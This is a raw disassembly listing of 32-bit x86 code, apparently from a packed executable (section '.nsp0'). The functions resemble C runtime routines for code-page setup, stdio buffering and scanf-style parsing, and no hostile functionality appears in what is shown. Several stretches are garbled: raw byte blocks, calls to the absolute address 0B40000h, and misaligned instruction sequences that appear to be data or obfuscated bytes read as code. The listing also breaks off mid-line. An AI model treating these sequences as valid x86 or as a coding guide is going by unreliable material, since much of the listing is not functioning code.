--------------------------------------------------------------------------- off_41FC25 dd offset loc_41F6A3 ; DATA XREF: sub_41F504+6Er dd offset loc_41F579 ; jump table for switch statement dd offset loc_41F594 dd offset loc_41F5E0 dd offset loc_41F617 dd offset loc_41F61F dd offset loc_41F654 dd offset loc_41F6E7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FC45 proc near ; CODE XREF: sub_41F504+1BDp ; sub_41F504+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FC5E mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FC69 ; --------------------------------------------------------------------------- loc_41FC5E: ; CODE XREF: sub_41FC45+9j push ecx push [ebp+arg_0] call sub_41F3EF pop ecx pop ecx loc_41FC69: ; CODE XREF: sub_41FC45+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FC76 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FC76: ; CODE XREF: sub_41FC45+2Aj inc dword ptr [eax] pop ebp retn sub_41FC45 endp ; =============== S U B R O U T I N E ======================================= sub_41FC7A proc near ; CODE XREF: sub_41F504+65Ap ; sub_41F504+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FCA8 mov esi, [esp+8+arg_C] loc_41FC8B: ; CODE XREF: sub_41FC7A+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FC45 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FCA8 mov eax, edi dec edi test eax, eax jg short loc_41FC8B loc_41FCA8: ; CODE XREF: sub_41FC7A+Bj ; sub_41FC7A+25j pop edi pop esi retn sub_41FC7A endp ; =============== S U B R O U T I N E ======================================= sub_41FCAB proc near ; CODE XREF: sub_41F504+670p ; sub_41F504+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FCDF mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FCC1: ; CODE XREF: sub_41FCAB+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FC45 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FCDF mov eax, ebx dec ebx test eax, eax jg short loc_41FCC1 loc_41FCDF: ; CODE XREF: sub_41FCAB+Cj ; sub_41FCAB+2Bj pop edi loc_41FCE0: ; CODE XREF: .nsp0:0041FD5Bj pop esi pop ebx retn sub_41FCAB endp ; =============== S U B R O U T I N E ======================================= sub_41FCE3 proc near ; CODE XREF: sub_41F504+E5p ; sub_41F504+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FCE3 endp ; =============== S U B R O U T I N E ======================================= sub_41FCF0 proc near ; CODE XREF: sub_41F504+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FCF0 endp ; =============== S U B R O U T I N E ======================================= sub_41FD00 proc near ; CODE XREF: sub_41F504+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FD00 endp ; --------------------------------------------------------------------------- loc_41FD0E: ; CODE XREF: sub_4200D2+Bp push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push dword ptr [ebp+8] call sub_41FEA7 mov esi, eax pop ecx cmp esi, dword_4E2944 mov [ebp+8], esi jz loc_41FE9B xor ebx, ebx cmp esi, ebx jz loc_41FE91 xor edx, edx mov eax, offset dword_442788 loc_41FD42: ; CODE XREF: .nsp0:0041FD4Fj cmp [eax], esi jz short loc_41FDB8 add eax, 30h inc edx cmp eax, offset dword_442878 jl short loc_41FD42 lea eax, [ebp-18h] push eax push esi call near ptr 0B40000h jz short loc_41FCE0 clc add [edi], ecx test [ecx+eax], esp ; --------------------------------------------------------------------------- db 0 dd 33406A00h, 60BF59C0h, 83004E2Ah, 8901E87Dh, 4E294435h dd 0AAABF300h, 2B641D89h, 860F004Eh, 0EFh, 0EE7D80h, 0BB840Fh dd 4D8D0000h, 84118AEFh, 0AE840FD2h, 0F000000h, 0FFF41B6h dd 0C23BD2B6h, 93870Fh, 88800000h, 4E2A61h, 0EEEB4004h ; --------------------------------------------------------------------------- loc_41FDB8: ; CODE XREF: .nsp0:0041FD44j push 40h xor eax, eax pop ecx mov edi, offset byte_4E2A60 rep stosd lea esi, [edx+edx*2] mov [ebp-4], ebx shl esi, 4 stosb lea ebx, dword_442798[esi] loc_41FDD4: ; CODE XREF: .nsp0:0041FE11j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FE07 loc_41FDDB: ; CODE XREF: .nsp0:0041FE05j mov dl, [ecx+1] test dl, dl jz short loc_41FE07 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FE00 mov edx, [ebp-4] mov dl, byte_442780[edx] loc_41FDF5: ; CODE XREF: .nsp0:0041FDFEj or byte_4E2A61[eax], dl inc eax cmp eax, edi jbe short loc_41FDF5 loc_41FE00: ; CODE XREF: .nsp0:0041FDEAj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FDDB loc_41FE07: ; CODE XREF: .nsp0:0041FDD9j ; .nsp0:0041FDE0j inc dword ptr [ebp-4] add ebx, 8 cmp dword ptr [ebp-4], 4 jb short loc_41FDD4 mov eax, [ebp+8] mov dword_4E295C, 1 push eax mov dword_4E2944, eax call sub_41FEF1 lea esi, dword_44278C[esi] mov edi, offset dword_4E2950 movsd movsd pop ecx mov dword_4E2B64, eax movsd jmp short loc_41FE96 ; --------------------------------------------------------------------------- db 2 dup(41h), 80h dd 0F00FF79h db 85h, 48h, 0FFh db 0FFh ; CODE XREF: sub_41FEA7+1Fj ; --------------------------------------------------------------------------- jmp fword ptr [edx+1] ; --------------------------------------------------------------------------- pop eax loc_41FE50: ; CODE XREF: .nsp0:0041FE5Dj or byte_4E2A61[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FE50 push esi call sub_41FEF1 pop ecx mov dword_4E2B64, eax mov dword_4E295C, 1 jmp short loc_41FE7D ; --------------------------------------------------------------------------- mov dword_4E295C, ebx loc_41FE7D: ; CODE XREF: .nsp0:0041FE75j xor eax, eax mov edi, offset dword_4E2950 stosd stosd stosd jmp short loc_41FE96 ; --------------------------------------------------------------------------- cmp dword_4E157C, ebx jz short loc_41FE9F loc_41FE91: ; CODE XREF: .nsp0:0041FD35j call sub_41FF24 loc_41FE96: ; CODE XREF: .nsp0:0041FE3Fj ; .nsp0:0041FE87j call loc_41FF4D loc_41FE9B: ; CODE XREF: .nsp0:0041FD2Bj xor eax, eax jmp short loc_41FEA2 ; --------------------------------------------------------------------------- loc_41FE9F: ; CODE XREF: .nsp0:0041FE8Fj or eax, 0FFFFFFFFh loc_41FEA2: ; CODE XREF: .nsp0:0041FE9Dj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_41FEA7 proc near ; CODE XREF: .nsp0:0041FD1Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4E157C, 0 cmp eax, 0FFFFFFFEh jnz short near ptr loc_41FEC6+1 mov dword_4E157C, 1 call near ptr 0B40000h loc_41FEC6: ; CODE XREF: sub_41FEA7+Ej loop near ptr byte_41FE4B clc std jnz short loc_41FEDC mov dword_4E157C, 1 call near ptr 0B40000h cli loc_41FEDC: ; CODE XREF: sub_41FEA7+23j cmp eax, 0FFFFFFFCh jnz short locret_41FEF0 mov eax, dword_4E15C0 mov dword_4E157C, 1 locret_41FEF0: ; CODE XREF: sub_41FEA7+38j retn sub_41FEA7 endp ; =============== S U B R O U T I N E ======================================= sub_41FEF1 proc near ; CODE XREF: .nsp0:0041FE26p ; .nsp0:0041FE60p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41FF1E sub eax, 4 jz short loc_41FF18 sub eax, 0Dh jz short loc_41FF12 dec eax jz short loc_41FF0C xor eax, eax retn ; --------------------------------------------------------------------------- loc_41FF0C: ; CODE XREF: sub_41FEF1+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41FF12: ; CODE XREF: sub_41FEF1+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41FF18: ; CODE XREF: sub_41FEF1+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41FF1E: ; CODE XREF: sub_41FEF1+9j mov eax, 411h retn sub_41FEF1 endp ; =============== S U B R O U T I N E ======================================= sub_41FF24 proc near ; CODE XREF: .nsp0:loc_41FE91p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4E2A60 rep stosd stosb xor eax, eax mov edi, offset dword_4E2950 mov dword_4E2944, eax mov dword_4E295C, eax mov dword_4E2B64, eax stosd stosd stosd pop edi retn sub_41FF24 endp ; --------------------------------------------------------------------------- loc_41FF4D: ; CODE XREF: .nsp0:loc_41FE96p push ebp mov ebp, esp sub esp, 514h lea eax, [ebp-14h] push esi push eax push dword_4E2944 call near ptr 0B40000h add [ebx-7AF0FE08h], al push ss add [eax], eax add [ebx], dh sar byte ptr [esi+100h], 88h ; CODE XREF: .nsp0:0041FF81j test ds:0FFFFFEECh, al inc eax cmp eax, esi jb short near ptr loc_41FF71+6 mov al, [ebp-0Eh] mov byte ptr [ebp-114h], 20h test al, al jz short loc_41FFC8 push ebx push edi lea edx, [ebp-0Dh] loc_41FF96: ; CODE XREF: .nsp0:0041FFC4j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41FFBD sub ecx, eax lea edi, [ebp+eax-114h] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41FFBD: ; CODE XREF: .nsp0:0041FF9Ej inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41FF96 pop edi pop ebx loc_41FFC8: ; CODE XREF: .nsp0:0041FF8Fj push 0 lea eax, [ebp-514h] push dword_4E2B64 push dword_4E2944 push eax lea eax, [ebp-114h] push esi push eax push 1 call loc_423B4F push 0 lea eax, [ebp-214h] push dword_4E2944 push esi push eax lea eax, [ebp-114h] push esi push eax push esi push dword_4E2B64 call loc_4229BB push 0 lea eax, [ebp-314h] push dword_4E2944 push esi push eax lea eax, [ebp-114h] push esi push eax push 200h push dword_4E2B64 call loc_4229BB add esp, 5Ch xor eax, eax lea ecx, [ebp-514h] loc_420043: ; CODE XREF: .nsp0:00420082j mov dx, [ecx] test dl, 1 jz short loc_420061 or byte_4E2A61[eax], 10h mov dl, [ebp+eax-214h] loc_420059: ; CODE XREF: .nsp0:00420074j mov byte_4E2960[eax], dl jmp short loc_42007D ; --------------------------------------------------------------------------- loc_420061: ; CODE XREF: .nsp0:00420049j test dl, 2 jz short loc_420076 or byte_4E2A61[eax], 20h mov dl, [ebp+eax-314h] jmp short loc_420059 ; --------------------------------------------------------------------------- loc_420076: ; CODE XREF: .nsp0:00420064j and byte_4E2960[eax], 0 loc_42007D: ; CODE XREF: .nsp0:0042005Fj inc eax inc ecx inc ecx cmp eax, esi jb short loc_420043 jmp short loc_4200CF ; --------------------------------------------------------------------------- xor eax, eax mov esi, 100h loc_42008D: ; CODE XREF: .nsp0:004200CDj cmp eax, 41h jb short loc_4200AB cmp eax, 5Ah ja short loc_4200AB or byte_4E2A61[eax], 10h mov cl, al add cl, 20h loc_4200A3: ; CODE XREF: .nsp0:004200C1j mov byte_4E2960[eax], cl jmp short loc_4200CA ; --------------------------------------------------------------------------- loc_4200AB: ; CODE XREF: .nsp0:00420090j ; .nsp0:00420095j cmp eax, 61h jb short loc_4200C3 cmp eax, 7Ah ja short loc_4200C3 or byte_4E2A61[eax], 20h mov cl, al sub cl, 20h jmp short loc_4200A3 ; --------------------------------------------------------------------------- loc_4200C3: ; CODE XREF: .nsp0:004200AEj ; .nsp0:004200B3j and byte_4E2960[eax], 0 loc_4200CA: ; CODE XREF: .nsp0:004200A9j inc eax cmp eax, esi jb short loc_42008D loc_4200CF: ; CODE XREF: .nsp0:00420084j pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_4200D2 proc near ; CODE XREF: .nsp0:00422D97p ; sub_422DE6+Dp ... cmp dword_4E2B8C, 0 jnz short locret_4200ED push 0FFFFFFFDh call loc_41FD0E pop ecx mov dword_4E2B8C, 1 locret_4200ED: ; CODE XREF: sub_4200D2+7j retn sub_4200D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200EE proc near ; CODE XREF: sub_41C081+2Bp ; sub_41C081+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4E295C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_420112 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41BCA0 add esp, 0Ch jmp short loc_420175 ; --------------------------------------------------------------------------- loc_420112: ; CODE XREF: sub_4200EE+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_420157 mov ecx, [ebp+arg_4] loc_42011D: ; CODE XREF: sub_4200EE+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4E2A61[esi], 4 mov [edi], al jz short loc_420141 inc edi inc ecx test edx, edx jz short loc_42014D mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_420153 jmp short loc_420147 ; --------------------------------------------------------------------------- loc_420141: ; CODE XREF: sub_4200EE+3Ej inc edi inc ecx test al, al jz short loc_420157 loc_420147: ; CODE XREF: sub_4200EE+51j test edx, edx jnz short loc_42011D jmp short loc_420157 ; --------------------------------------------------------------------------- loc_42014D: ; CODE XREF: sub_4200EE+44j and byte ptr [edi-1], 0 jmp short loc_420157 ; --------------------------------------------------------------------------- loc_420153: ; CODE XREF: sub_4200EE+4Fj and byte ptr [edi-2], 0 loc_420157: ; CODE XREF: sub_4200EE+2Aj ; sub_4200EE+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_420172 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_420172: ; CODE XREF: sub_4200EE+6Fj mov eax, [ebp+arg_0] loc_420175: ; CODE XREF: sub_4200EE+22j pop edi pop ebp retn sub_4200EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420178 proc near ; CODE XREF: sub_41C256+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4E15B0, 0 push ebx jnz short loc_4201A3 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_420241 cmp eax, 7Ah jg loc_420241 sub eax, 20h jmp loc_420241 ; --------------------------------------------------------------------------- loc_4201A3: ; CODE XREF: sub_420178+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_4201D6 cmp dword_44276C, 1 jle short loc_4201C3 push 2 push ebx call sub_41F37A pop ecx pop ecx jmp short loc_4201CE ; --------------------------------------------------------------------------- loc_4201C3: ; CODE XREF: sub_420178+3Dj mov eax, off_442560 mov al, [eax+ebx*2] and eax, 2 loc_4201CE: ; CODE XREF: sub_420178+49j test eax, eax jnz short loc_4201D6 loc_4201D2: ; CODE XREF: sub_420178+AFj mov eax, ebx jmp short loc_420241 ; --------------------------------------------------------------------------- loc_4201D6: ; CODE XREF: sub_420178+34j ; sub_420178+58j mov edx, off_442560 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4201F9 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_420202 ; --------------------------------------------------------------------------- loc_4201F9: ; CODE XREF: sub_420178+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_420202: ; CODE XREF: sub_420178+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4E15B0 call loc_4229BB add esp, 20h test eax, eax jz short loc_4201D2 cmp eax, 1 jnz short loc_420234 movzx eax, [ebp+var_4] jmp short loc_420241 ; --------------------------------------------------------------------------- loc_420234: ; CODE XREF: sub_420178+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_420241: ; CODE XREF: sub_420178+14j ; sub_420178+1Dj ... pop ebx leave retn sub_420178 endp ; =============== S U B R O U T I N E ======================================= sub_420244 proc near ; CODE XREF: sub_41C475+1Dp ; sub_41DA8E+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4E14FC, ecx mov eax, offset dword_442878 loc_420255: ; CODE XREF: sub_420244+1Ej cmp ecx, [eax] jz short loc_420279 add eax, 8 inc edx cmp eax, offset dword_4429E0 jl short loc_420255 cmp ecx, 13h jb short loc_420286 cmp ecx, 24h ja short loc_420286 mov dword_4E14F8, 0Dh retn ; --------------------------------------------------------------------------- loc_420279: ; CODE XREF: sub_420244+13j mov eax, dword_44287C[edx*8] mov dword_4E14F8, eax retn ; --------------------------------------------------------------------------- loc_420286: ; CODE XREF: sub_420244+23j ; sub_420244+28j cmp ecx, 0BCh jb short loc_4202A0 cmp ecx, 0CAh mov dword_4E14F8, 8 jbe short locret_4202AA loc_4202A0: ; CODE XREF: sub_420244+48j mov dword_4E14F8, 16h locret_4202AA: ; CODE XREF: sub_420244+5Aj retn sub_420244 endp ; =============== S U B R O U T I N E ======================================= sub_4202AB proc near ; CODE XREF: sub_41C49F+8p ; sub_41D88C+9p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423C98 test eax, eax pop ecx jz short loc_420334 cmp esi, offset dword_442B58 jnz short loc_4202C9 xor eax, eax jmp short loc_4202D4 ; --------------------------------------------------------------------------- loc_4202C9: ; CODE XREF: sub_4202AB+18j cmp esi, offset dword_442B78 jnz short loc_420334 push 1 pop eax loc_4202D4: ; CODE XREF: sub_4202AB+1Cj inc dword_4E15C8 test word ptr [esi+0Ch], 10Ch jnz short loc_420334 cmp dword_4E1580[eax*4], 0 push ebx push edi lea edi, ds:4E1580h[eax*4] mov ebx, 1000h jnz short loc_42031A push ebx call sub_41BBCB test eax, eax pop ecx mov [edi], eax jnz short loc_42031A lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_420327 ; --------------------------------------------------------------------------- loc_42031A: ; CODE XREF: sub_4202AB+4Dj ; sub_4202AB+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_420327: ; CODE XREF: sub_4202AB+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_420334: ; CODE XREF: sub_4202AB+10j ; sub_4202AB+24j ... xor eax, eax pop esi retn sub_4202AB endp ; =============== S U B R O U T I N E ======================================= sub_420338 proc near ; CODE XREF: sub_41C49F+24p ; sub_41D88C+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_420362 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_420373 push esi call sub_41E25B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_420362: ; CODE XREF: sub_420338+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_420373 push eax call sub_41E25B pop ecx loc_420373: ; CODE XREF: sub_420338+10j ; sub_420338+32j pop esi retn sub_420338 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420375 proc near ; CODE XREF: sub_41CCE5+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420D7B mov edi, [ebp+arg_0] jmp short loc_4203A4 ; --------------------------------------------------------------------------- loc_42039F: ; CODE XREF: sub_420375+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_4203A4: ; CODE XREF: sub_420375+28j cmp dword_44276C, 1 jle short loc_4203BC movzx eax, al push 8 push eax call sub_41F37A pop ecx pop ecx jmp short loc_4203CB ; --------------------------------------------------------------------------- loc_4203BC: ; CODE XREF: sub_420375+36j mov ecx, off_442560 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_4203CB: ; CODE XREF: sub_420375+45j cmp eax, ebx jz short loc_420405 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420E02 pop ecx pop ecx push eax call sub_420DEB movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DD40 add esp, 0Ch loc_4203F3: ; CODE XREF: sub_420375+8Ej test eax, eax jz short loc_420405 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DD40 pop ecx jmp short loc_4203F3 ; --------------------------------------------------------------------------- loc_420405: ; CODE XREF: sub_420375+58j ; sub_420375+80j cmp byte ptr [esi], 25h jnz loc_420CE7 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_42043C: ; CODE XREF: sub_420375+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_44276C, 1 jle short loc_420459 movzx eax, bl push 4 push eax call sub_41F37A pop ecx pop ecx jmp short loc_420468 ; --------------------------------------------------------------------------- loc_420459: ; CODE XREF: sub_420375+D3j mov ecx, off_442560 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420468: ; CODE XREF: sub_420375+E2j test eax, eax jz short loc_42047E mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_4204E3 ; --------------------------------------------------------------------------- loc_42047E: ; CODE XREF: sub_420375+F5j cmp ebx, 4Eh jg short loc_4204C1 jz short loc_4204E3 cmp ebx, 2Ah jz short loc_4204BC cmp ebx, 46h jz short loc_4204E3 cmp ebx, 49h jz short loc_42049E cmp ebx, 4Ch jnz short loc_4204D0 inc [ebp+var_D] jmp short loc_4204E3 ; --------------------------------------------------------------------------- loc_42049E: ; CODE XREF: sub_420375+11Dj cmp byte ptr [esi+1], 36h jnz short loc_4204D0 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_4204D0 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_4204E3 ; --------------------------------------------------------------------------- loc_4204BC: ; CODE XREF: sub_420375+113j inc [ebp+var_E] jmp short loc_4204E3 ; --------------------------------------------------------------------------- loc_4204C1: ; CODE XREF: sub_420375+10Cj cmp ebx, 68h jz short loc_4204DD cmp ebx, 6Ch jz short loc_4204D5 cmp ebx, 77h jz short loc_4204D8 loc_4204D0: ; CODE XREF: sub_420375+122j ; sub_420375+12Dj ... inc [ebp+var_F] jmp short loc_4204E3 ; --------------------------------------------------------------------------- loc_4204D5: ; CODE XREF: sub_420375+154j inc [ebp+var_D] loc_4204D8: ; CODE XREF: sub_420375+159j inc [ebp+var_5] jmp short loc_4204E3 ; --------------------------------------------------------------------------- loc_4204DD: ; CODE XREF: sub_420375+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_4204E3: ; CODE XREF: sub_420375+107j ; sub_420375+10Ej ... cmp [ebp+var_F], 0 jz loc_42043C cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_420508 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_420508: ; CODE XREF: sub_420375+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_420526 mov al, [esi] cmp al, 53h jz short loc_420522 cmp al, 43h jz short loc_420522 or [ebp+var_5], 0FFh jmp short loc_420526 ; --------------------------------------------------------------------------- loc_420522: ; CODE XREF: sub_420375+1A1j ; sub_420375+1A5j mov [ebp+var_5], 1 loc_420526: ; CODE XREF: sub_420375+19Bj ; sub_420375+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_42055F cmp esi, 63h jz short loc_420550 cmp esi, 7Bh jz short loc_420550 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420E02 pop ecx jmp short loc_42055B ; --------------------------------------------------------------------------- loc_420550: ; CODE XREF: sub_420375+1C5j ; sub_420375+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420DD1 loc_42055B: ; CODE XREF: sub_420375+1D9j pop ecx mov [ebp+var_14], eax loc_42055F: ; CODE XREF: sub_420375+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42056F cmp [ebp+var_C], eax jz loc_420D4B loc_42056F: ; CODE XREF: sub_420375+1EFj cmp esi, 6Fh jg loc_4207D6 jz loc_420A88 cmp esi, 63h jz loc_4207B3 cmp esi, 64h jz loc_420A88 jle loc_420800 cmp esi, 67h jle short loc_4205D3 cmp esi, 69h jz short loc_4205BB cmp esi, 6Eh jnz loc_420800 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420CB6 jmp loc_420CDC ; --------------------------------------------------------------------------- loc_4205BB: ; CODE XREF: sub_420375+229j push 64h pop esi loc_4205BE: ; CODE XREF: sub_420375+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_420848 mov [ebp+var_17], 1 jmp loc_42084D ; --------------------------------------------------------------------------- loc_4205D3: ; CODE XREF: sub_420375+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_4205EF mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_4205F4 ; --------------------------------------------------------------------------- loc_4205EF: ; CODE XREF: sub_420375+26Aj cmp ebx, 2Bh jnz short loc_42060B loc_4205F4: ; CODE XREF: sub_420375+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420DD1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42060E ; --------------------------------------------------------------------------- loc_42060B: ; CODE XREF: sub_420375+27Dj mov edi, [ebp+arg_0] loc_42060E: ; CODE XREF: sub_420375+294j cmp [ebp+var_20], 0 jz short loc_42061D cmp [ebp+var_C], 15Dh jle short loc_420624 loc_42061D: ; CODE XREF: sub_420375+29Dj mov [ebp+var_C], 15Dh loc_420624: ; CODE XREF: sub_420375+2A6j ; sub_420375+2F2j cmp dword_44276C, 1 jle short loc_420639 push 4 push ebx call sub_41F37A pop ecx pop ecx jmp short loc_420644 ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420375+2B6j mov eax, off_442560 mov al, [eax+ebx*2] and eax, 4 loc_420644: ; CODE XREF: sub_420375+2C2j test eax, eax jz short loc_420669 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420669 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420DD1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420624 ; --------------------------------------------------------------------------- loc_420669: ; CODE XREF: sub_420375+2D1j ; sub_420375+2DBj cmp byte_442770, bl jnz short loc_4206D7 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4206D7 inc [ebp+var_4] push edi call sub_420DD1 mov ebx, eax mov al, byte_442770 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_420692: ; CODE XREF: sub_420375+360j cmp dword_44276C, 1 jle short loc_4206A7 push 4 push ebx call sub_41F37A pop ecx pop ecx jmp short loc_4206B2 ; --------------------------------------------------------------------------- loc_4206A7: ; CODE XREF: sub_420375+324j mov eax, off_442560 mov al, [eax+ebx*2] and eax, 4 loc_4206B2: ; CODE XREF: 